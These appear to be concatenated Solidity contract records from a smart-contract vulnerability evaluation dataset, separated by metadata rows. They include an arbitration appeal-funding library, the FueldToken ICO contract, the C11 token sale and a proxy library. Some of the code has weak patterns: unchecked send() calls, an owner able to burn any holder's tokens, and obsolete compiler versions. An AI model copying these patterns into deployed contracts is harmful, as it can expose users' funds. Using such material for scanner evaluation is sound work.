uint256 _arbitrationCost,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID) internal returns(uint256 disputeID) {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.None, "Dispute already created.");
uint256 arbitratorDataID = self.arbitratorDataList.length - 1;
ArbitratorData storage arbitratorData = self.arbitratorDataList[arbitratorDataID]; // Reverts if arbitrator data is not set.
IArbitrator arbitrator = arbitratorData.arbitrator;
disputeID = arbitrator.createDispute{value: _arbitrationCost}(MAX_NO_OF_CHOICES, arbitratorData.arbitratorExtraData);
dispute.arbitratorDataID = uint64(arbitratorDataID);
dispute.disputeIDOnArbitratorSide = disputeID;
dispute.status = Status.Disputed;
dispute.roundCounter = 1;
self.externalIDtoLocalID[disputeID] = _localDisputeID;
emit Dispute(arbitrator, disputeID, _metaEvidenceID, _evidenceGroupID);
}
function submitEvidence(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _evidenceGroupID,
string memory _evidence) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status < Status.Resolved, "The dispute is resolved.");
if (bytes(_evidence).length > 0) {
ArbitratorData storage arbitratorData;
if (dispute.roundCounter == 0) // The dispute does not exist.
arbitratorData = self.arbitratorDataList[self.arbitratorDataList.length - 1];
else
arbitratorData = self.arbitratorDataList[uint256(dispute.arbitratorDataID)];
emit Evidence(arbitratorData.arbitrator, _evidenceGroupID, msg.sender, _evidence);
}
}
function fundAppeal(ArbitrableStorage storage self, uint256 _localDisputeID, uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Disputed, "No ongoing dispute to appeal.");
uint256 currentRound = uint256(dispute.roundCounter - 1);
Round storage round = dispute.rounds[currentRound];
uint256 rulingFunded = round.rulingFunded; // Use local variable for gas saving purposes.
require(_ruling != rulingFunded && _ruling != 0,
"Ruling is funded or is invalid.");
(uint256 appealCost, uint256 totalCost) = getAppealFeeComponents(self, _localDisputeID, _ruling);
uint256 paidFee = round.paidFees[_ruling]; // Use local variable for gas saving purposes.
// Take up to the amount necessary to fund the current round at the current costs.
(uint256 contribution, uint256 remainingETH) = calculateContribution(msg.value, totalCost.subCap(paidFee));
round.contributions[msg.sender][_ruling] += contribution;
paidFee += contribution;
round.paidFees[_ruling] = paidFee;
round.totalFees += contribution; // Contributors to rulings that don't get fully funded can still win/lose rewards/contributions.
emit AppealContribution(_localDisputeID, currentRound, _ruling, msg.sender, contribution);
// Reimburse leftover ETH if any.
if (remainingETH > 0)
msg.sender.send(remainingETH); // Deliberate use of send in order not to block the contract in case of reverting fallback.
if (paidFee >= totalCost) {
emit HasPaidAppealFee(_localDisputeID, currentRound, _ruling);
if (rulingFunded == 0) {
round.rulingFunded = _ruling;
} else {
// Two rulings are fully funded. Create an appeal.
ArbitratorData storage arbitratorData = self.arbitratorDataList[uint256(dispute.arbitratorDataID)];
arbitratorData.arbitrator.appeal{value: appealCost}(dispute.disputeIDOnArbitratorSide, arbitratorData.arbitratorExtraData);
round.appealCost = appealCost;
round.rulingFunded = 0; // clear storage
dispute.roundCounter = uint184(currentRound + 2); // currentRound starts at 0 while roundCounter at 1.
}
}
}
function processRuling(ArbitrableStorage storage self,
uint256 _disputeIDOnArbitratorSide,
uint256 _ruling) internal returns(uint256 finalRuling) {
uint256 localDisputeID = self.externalIDtoLocalID[_disputeIDOnArbitratorSide];
DisputeData storage dispute = self.disputes[localDisputeID];
IArbitrator arbitrator = self.arbitratorDataList[uint256(dispute.arbitratorDataID)].arbitrator;
require(dispute.status == Status.Disputed &&
msg.sender == address(arbitrator),
"Ruling can't be processed.");
Round storage round = dispute.rounds[dispute.roundCounter - 1];
if (round.rulingFunded == 0)
finalRuling = _ruling;
else
finalRuling = round.rulingFunded;
dispute.status = Status.Resolved;
dispute.ruling = finalRuling;
emit Ruling(arbitrator, _disputeIDOnArbitratorSide, finalRuling);
}
function withdrawFeesAndRewards(ArbitrableStorage storage self,
uint256 _localDisputeID,
address payable _beneficiary,
uint256 _round,
uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Dispute not resolved.");
uint256 reward = getWithdrawableAmount(self, _localDisputeID, _beneficiary, _round, _ruling);
if (reward > 0) {
dispute.rounds[_round].contributions[_beneficiary][_ruling] = 0;
emit Withdrawal(_localDisputeID, _round, _ruling, _beneficiary, reward);
_beneficiary.send(reward); // It is the user responsibility to accept ETH.
}
}
function batchWithdrawFeesAndRewards(ArbitrableStorage storage self,
uint256 _localDisputeID,
address payable _beneficiary,
uint256 _cursor,
uint256 _count,
uint256 _ruling) internal {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Dispute not resolved.");
uint256 maxRound = _cursor + _count > dispute.roundCounter ? dispute.roundCounter : _cursor + _count;
uint256 reward;
for (uint256 i = _cursor; i < maxRound; i++) {
uint256 roundReward = getWithdrawableAmount(self, _localDisputeID, _beneficiary, i, _ruling);
reward += roundReward;
if (roundReward > 0) {
dispute.rounds[i].contributions[_beneficiary][_ruling] = 0;
emit Withdrawal(_localDisputeID, i, _ruling, _beneficiary, roundReward);
}
}
_beneficiary.send(reward); // It is the user responsibility to accept ETH.
}
// ******************** //
// * Getters * //
// ******************** //
function getWithdrawableAmount(ArbitrableStorage storage self,
uint256 _localDisputeID,
address _beneficiary,
uint256 _round,
uint256 _ruling) internal view returns(uint256 reward) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
uint256 lastRound = dispute.roundCounter - 1;
uint256 finalRuling = dispute.ruling;
mapping(uint256 => uint256) storage contributionTo = round.contributions[_beneficiary];
if (_round == lastRound) {
// Allow to reimburse if funding was unsuccessful, i.e. appeal wasn't created.
reward = contributionTo[_ruling];
} else if (round.paidFees[finalRuling] > 0) {
// If there is a winner, reward the winner.
if (_ruling == finalRuling) {
uint256 feeRewards = round.totalFees - round.appealCost;
reward = (contributionTo[_ruling] * feeRewards) / round.paidFees[_ruling];
}
} else {
// There is no winner. Reimburse unspent fees proportionally.
uint256 feeRewards = round.totalFees - round.appealCost;
reward = round.totalFees > 0 ? (contributionTo[_ruling] * feeRewards) / round.totalFees : 0;
}
}
function calculateContribution(uint256 _available,
uint256 _requiredAmount) internal pure returns(uint256 taken, uint256 remainder) {
if (_requiredAmount > _available)
return (_available, 0); // Take whatever is available, return 0 as leftover ETH.
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function getAppealFeeComponents(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _ruling) internal view returns (uint256 appealCost, uint256 totalCost) {
DisputeData storage dispute = self.disputes[_localDisputeID];
ArbitratorData storage arbitratorData = self.arbitratorDataList[uint256(dispute.arbitratorDataID)];
IArbitrator arbitrator = arbitratorData.arbitrator;
uint256 disputeIDOnArbitratorSide = dispute.disputeIDOnArbitratorSide;
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(disputeIDOnArbitratorSide);
require(block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd, "Not in appeal period.");
uint256 multiplier;
uint256 winner = arbitrator.currentRuling(disputeIDOnArbitratorSide);
if (winner == _ruling){
multiplier = self.winnerStakeMultiplier;
} else if (winner == 0){
multiplier = self.sharedStakeMultiplier;
} else {
require(block.timestamp < (appealPeriodEnd + appealPeriodStart)/2, "Not in loser's appeal period.");
multiplier = self.loserStakeMultiplier;
}
appealCost = arbitrator.appealCost(disputeIDOnArbitratorSide, arbitratorData.arbitratorExtraData);
totalCost = appealCost.addCap(appealCost.mulCap(multiplier) / MULTIPLIER_DIVISOR);
}
function getFinalRuling(ArbitrableStorage storage self, uint256 _localDisputeID) internal view returns(uint256) {
DisputeData storage dispute = self.disputes[_localDisputeID];
require(dispute.status == Status.Resolved, "Arbitrator has not ruled yet.");
return dispute.ruling;
}
function getArbitrationCost(ArbitrableStorage storage self, uint256 _localDisputeID) internal view returns(uint256) {
DisputeData storage dispute = self.disputes[_localDisputeID];
ArbitratorData storage arbitratorData;
if (dispute.roundCounter == 0) // The dispute does not exist.
arbitratorData = self.arbitratorDataList[self.arbitratorDataList.length - 1];
else
arbitratorData = self.arbitratorDataList[uint256(dispute.arbitratorDataID)];
return arbitratorData.arbitrator.arbitrationCost(arbitratorData.arbitratorExtraData);
}
function getNumberOfRounds(ArbitrableStorage storage self, uint256 _localDisputeID) internal view returns (uint256) {
return self.disputes[_localDisputeID].roundCounter;
}
function getRoundInfo(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _round) internal view returns(uint256 rulingFunded,
uint256 feeRewards,
uint256 appealCostPaid,
bool appealed) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
rulingFunded = round.rulingFunded;
feeRewards = round.totalFees - round.appealCost;
appealCostPaid = round.appealCost;
appealed = _round != dispute.roundCounter - 1;
}
function getContribution(ArbitrableStorage storage self,
uint256 _localDisputeID,
uint256 _round,
address _contributor,
uint256 _ruling) internal view returns(uint256 contribution, uint256 rulingContributions) {
DisputeData storage dispute = self.disputes[_localDisputeID];
Round storage round = dispute.rounds[_round];
contribution = round.contributions[_contributor][_ruling];
rulingContributions = round.paidFees[_ruling];
}
}
| 16,908 | 11,393 |
3a8f8770d95978c1dd348ab93480953a7ff4b92c7ac66bad60d9e9f00eb81159
| 12,982 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa9f06cf165fe40f6e52f5765389f2d79dfc567ff.sol
| 3,467 | 12,931 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FueldToken{
using SafeMath for uint256;
// ownable
address public multisig;
address public multisigPreICO;
address public owner;
address public extOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event MultisigsChanged(address _multisig, address _multisigPreICO);
function changeMultisigs(address _multisig, address _multisigPreICO) onlyOwner public {
require(_multisig != address(0));
require(_multisigPreICO != address(0));
multisig = _multisig;
multisigPreICO = _multisigPreICO;
MultisigsChanged(multisig, multisigPreICO);
}
// self transfer
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
// allowed transfer
mapping (address => mapping (address => uint256)) allowed;
event Approval(address indexed owner_, address indexed spender, uint256 value);
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; }
else {allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); }
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// mintable
uint256 public totalSupply = 200000000; // minting in constructor
// sale
mapping (address => uint256) public privatePreICOdepositors;
mapping (address => uint256) public preICOdepositors;
mapping (address => uint256) public ICOdepositors;
mapping (address => uint256) public ICObalances;
uint256 constant public softCap = 6700 ether;
uint256 constant public hardCap = 67000 ether;
uint256 constant public price = 456000000000000 wei; // 0.000000456 ETH * 10**18
uint256 constant public maxPreICOSupply = 13500000; // including free bonus tokens
uint256 constant public maxPreICOandICOSupply = 150000000;
uint256 constant public privatePreICOFreeBonusPercent = 35;
uint256 constant public preICOFreeBonusPercent = 30;
uint256 constant public privatePreICOBonusPercent = 0;
uint256 constant public preICOBonusPercent = 0;
uint256 constant public ICOBonusPercent1week = 15;
uint256 constant public ICOBonusPercent2week = 10;
uint256 constant public ICOBonusPercent3week = 5;
uint256 constant public restrictedPercent = 25;
uint256 public startTimePrivatePreICO = 0;
uint256 public startTimePreICO = 0;
uint256 public startTimeICO = 0;
uint256 public soldTokenCount = 0;
uint256 public cap = 0;
uint256 public capPreICO = 0;
uint256 public capPreICOTrasferred = 0;
uint256 public capFiat = 0;
uint256 public capFiatAndETH = 0;
bool public capReached = false;
// sale
event SaleStatus(string indexed status, uint256 indexed _date);
function startPrivatePreICO() onlyOwner public {
require(startTimeICO == 0 && startTimePreICO == 0);
startTimePreICO = now;
startTimePrivatePreICO = startTimePreICO;
SaleStatus('Private Pre ICO started', startTimePreICO);
}
function startPreICO() onlyOwner public {
require(startTimeICO == 0 && startTimePreICO == 0);
startTimePreICO = now;
SaleStatus('Public Pre ICO started', startTimePreICO);
}
function startICO() onlyOwner public {
require(startTimeICO == 0 && startTimePreICO == 0);
startTimeICO = now;
SaleStatus('start ICO', startTimePreICO);
}
function stopSale() onlyOwner public {
require(startTimeICO > 0 || startTimePreICO > 0);
if (startTimeICO > 0){
SaleStatus('ICO stopped', now);
}
else{
multisigPreICO.transfer(capPreICO);
capPreICOTrasferred = capPreICOTrasferred.add(capPreICO);
capPreICO = 0;
SaleStatus('Pre ICO stopped', now);
}
startTimeICO = 0;
startTimePreICO = 0;
startTimePrivatePreICO = 0;
}
function currentBonusPercent() public constant returns(uint256 bonus_percent) {
require(startTimeICO > 0 || startTimePreICO > 0);
uint256 current_date = now;
uint256 bonusPercent = 0;
if (startTimeICO > 0){
if (current_date > startTimeICO && current_date <= (startTimeICO.add(1 weeks))){ bonusPercent = ICOBonusPercent1week; }
else{
if (current_date > startTimeICO && current_date <= (startTimeICO.add(2 weeks))){ bonusPercent = ICOBonusPercent2week; }
else{
if (current_date > startTimeICO && current_date <= (startTimeICO.add(3 weeks))){ bonusPercent = ICOBonusPercent3week; }
}
}
}
else{
if(startTimePrivatePreICO > 0) {
bonusPercent = privatePreICOBonusPercent;
}
else {
bonusPercent = preICOBonusPercent;
}
}
return bonusPercent;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function() payable public {
require(startTimeICO > 0 || startTimePreICO > 0);
require(msg.sender != address(0));
require(msg.value > 0);
require(cap < hardCap);
uint256 bonusPercent = currentBonusPercent();
uint256 currentPrice = price.mul(100 - bonusPercent).div(100);
address depositor = msg.sender;
uint256 deposit = msg.value;
uint256 tokens = deposit/currentPrice;
if (startTimeICO > 0){
require(soldTokenCount.add(tokens) <= maxPreICOandICOSupply);
}
else{
if(startTimePrivatePreICO > 0) {
tokens = (tokens * (100 + privatePreICOFreeBonusPercent)) / 100;
}
else {
tokens = (tokens * (100 + preICOFreeBonusPercent)) / 100;
}
require(soldTokenCount.add(tokens) <= maxPreICOSupply);
}
balances[owner] = balances[owner].sub(tokens);
balances[depositor] = balances[depositor].add(tokens);
soldTokenCount = soldTokenCount.add(tokens);
if (startTimeICO > 0){
ICObalances[depositor] = ICObalances[depositor].add(tokens);
}
if (startTimeICO > 0){
ICOdepositors[depositor] = ICOdepositors[depositor].add(deposit);
}
else{
if(startTimePrivatePreICO > 0) {
privatePreICOdepositors[depositor] = privatePreICOdepositors[depositor].add(deposit);
}
else {
preICOdepositors[depositor] = preICOdepositors[depositor].add(deposit);
}
}
cap = cap.add(deposit);
if(startTimePreICO > 0) {
capPreICO = capPreICO.add(deposit);
}
capFiatAndETH = capFiat.add(cap);
if(capFiatAndETH >= softCap) {
capReached = true;
}
TokenPurchase(owner, depositor, deposit, tokens);
}
event ExtTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function extBuyTokens(address beneficiary_, uint256 tokensAmount_, uint256 amountETH_) public {
require(startTimeICO > 0 || startTimePreICO > 0);
require(msg.sender != address(0));
require(msg.sender == extOwner);
address depositor = beneficiary_;
uint256 tokens = tokensAmount_;
uint256 amountETH = amountETH_;
balances[owner] = balances[owner].sub(tokens);
balances[depositor] = balances[depositor].add(tokens);
soldTokenCount = soldTokenCount.add(tokens);
capFiat = capFiat.add(amountETH);
capFiatAndETH = capFiat.add(cap);
if(capFiatAndETH >= softCap) {
capReached = true;
}
ExtTokenPurchase(owner, depositor, tokens);
}
function transferExtOwnership(address newOwner_) onlyOwner public {
extOwner = newOwner_;
}
// refund
bool public refundCompleted = false;
uint256 public startTimeRefund = 0;
function startRefund() onlyOwner public {
require(startTimeICO == 0 && startTimePreICO == 0);
startTimeRefund = now;
SaleStatus('Refund started', startTimeRefund);
}
function stopRefund() onlyOwner public {
require(startTimeRefund > 0);
startTimeRefund = 0;
refundCompleted = true;
SaleStatus('Refund stopped', now);
}
event Refunded(address indexed depositor, uint256 indexed deposit, uint256 indexed tokens);
function refund() public {
require(capFiatAndETH < softCap);
require(startTimeRefund > 0);
address depositor = msg.sender;
uint256 deposit = ICOdepositors[depositor];
uint256 tokens = ICObalances[depositor];
ICOdepositors[depositor] = 0;
ICObalances[depositor] = 0;
balances[depositor] = balances[depositor].sub(tokens);
depositor.transfer(deposit);
balances[owner] = balances[owner].add(tokens);
cap = cap.sub(deposit);
capFiatAndETH = capFiatAndETH.sub(deposit);
soldTokenCount = soldTokenCount.sub(tokens);
Refunded(depositor, deposit, tokens);
}
bool public fixSaleCompleted = false;
function fixSale() onlyOwner public {
require(refundCompleted == true);
require(startTimeICO == 0 && startTimePreICO == 0 && startTimeRefund == 0);
require(multisig != address(0));
uint256 restrictedTokens = soldTokenCount * (totalSupply - maxPreICOandICOSupply) / maxPreICOandICOSupply;
transfer(multisig, restrictedTokens);
multisig.transfer(cap.sub(capPreICOTrasferred));
soldTokenCount = 0;
fixSaleCompleted = true;
}
// burnable
event Burn(address indexed burner, uint indexed value);
function burn(uint _value) onlyOwner public {
require(fixSaleCompleted == true);
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
refundCompleted = false;
fixSaleCompleted = false;
Burn(burner, _value);
}
// constructor
string constant public name = "FUELD";
string constant public symbol = "FLD";
uint32 constant public decimals = 18;
function FueldToken() public {
owner = msg.sender;
balances[owner] = totalSupply;
}
}
| 199,739 | 11,394 |
003647c61c25e24e4f57a05b4e7720705b1cfce4866eb1eaf89aad60b71c78b6
| 21,351 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaddd12a33d34dcf03d682abc5df3553d6b3cbd75.sol
| 3,215 | 11,860 |
pragma solidity ^0.4.24;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _initSupply;
constructor (string name, string symbol, uint8 decimals, uint256 initSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_initSupply = initSupply.mul(10 **uint256(decimals));
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function initSupply() public view returns (uint256) {
return _initSupply;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract C11 is ERC20, ERC20Detailed, Ownable, ReentrancyGuard {
using SafeMath for uint256;
mapping (address => bool) status;
// Address where funds can be collected
address private _walletP;
// Address where funds can be collected too
address private _walletN;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// _rate multiply index
uint256 private _x;
// _rate share index
uint256 private _y;
// Amount of wei raised
uint256 private _weiRaised;
constructor () public ERC20Detailed("C11", "C11", 18, 20000000) {
_mint(msg.sender, initSupply());
}
function mint(address to, uint256 value) public onlyOwner returns (bool) {
_mint(to, value);
return true;
}
function burn(address to, uint256 value) public onlyOwner returns (bool) {
_burn(to, value);
return true;
}
function CheckStatus(address account) public view returns (bool) {
require(account != address(0));
bool currentStatus = status[account];
return currentStatus;
}
function ChangeStatus(address account) public onlyOwner {
require(account != address(0));
bool currentStatus1 = status[account];
status[account] = (currentStatus1 == true) ? false : true;
}
function () external payable {
buyTokens(msg.sender, msg.value);
}
function buyTokens(address beneficiary, uint256 weiAmount) public nonReentrant payable {
require(beneficiary != address(0) && beneficiary !=_walletP && beneficiary !=_walletN);
require(weiAmount != 0);
require(_walletP != 0);
require(_walletN != 0);
require(CheckStatus(beneficiary) != true);
// calculate token amount to be created
uint256 tokens = weiAmount.div(_y).mul(_x).mul(_rate);
// compass
address CurrentFundWallet = (balanceOf(_walletP) > balanceOf(_walletN) == true) ? _walletP : _walletN;
// check token amount to be transfered from _wallet
require(balanceOf(CurrentFundWallet) > tokens);
// update state
_weiRaised = _weiRaised.add(weiAmount);
// transfer tokens to beneficiary from CurrentFundWallet
_transfer(CurrentFundWallet, beneficiary, tokens);
// transfer weiAmount to CurrentFundWallet
CurrentFundWallet.transfer(weiAmount);
}
function setRate(uint256 rate) public onlyOwner {
require(rate > 1);
_rate = rate;
}
function setX(uint256 x) public onlyOwner {
require(x >= 1);
_x = x;
}
function setY(uint256 y) public onlyOwner {
require(y >= 1);
_y = y;
}
function setPositivWallet(address PositivWallet) public onlyOwner {
_walletP = PositivWallet;
}
function PositivWallet() public view returns (address) {
return _walletP;
}
function setNegativWallet(address NegativWallet) public onlyOwner {
_walletN = NegativWallet;
}
function NegativWallet() public view returns (address) {
return _walletN;
}
function Rate() public view returns (uint256) {
return _rate;
}
function X() public view returns (uint256) {
return _x;
}
function Y() public view returns (uint256) {
return _y;
}
function WeiRaised() public view returns (uint256) {
return _weiRaised;
}
}
| 193,524 | 11,395 |
a75ef64dad8250d3651b09e252d2aa93e98ce379f7bb6c7a047132faa2abbfa2
| 22,213 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x157a268DC31bb12056A5b760240C6Fef004ec522.sol
| 2,721 | 10,821 |
pragma solidity ^0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : dave@akomba.com
// released under Apache 2.0 licence
// flattened : Tuesday, 09-Apr-19 18:16:04 UTC
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library ZOSLibAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface ImplementationProvider {
function getImplementation(string contractName) public view returns (address);
}
contract ZOSLibOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
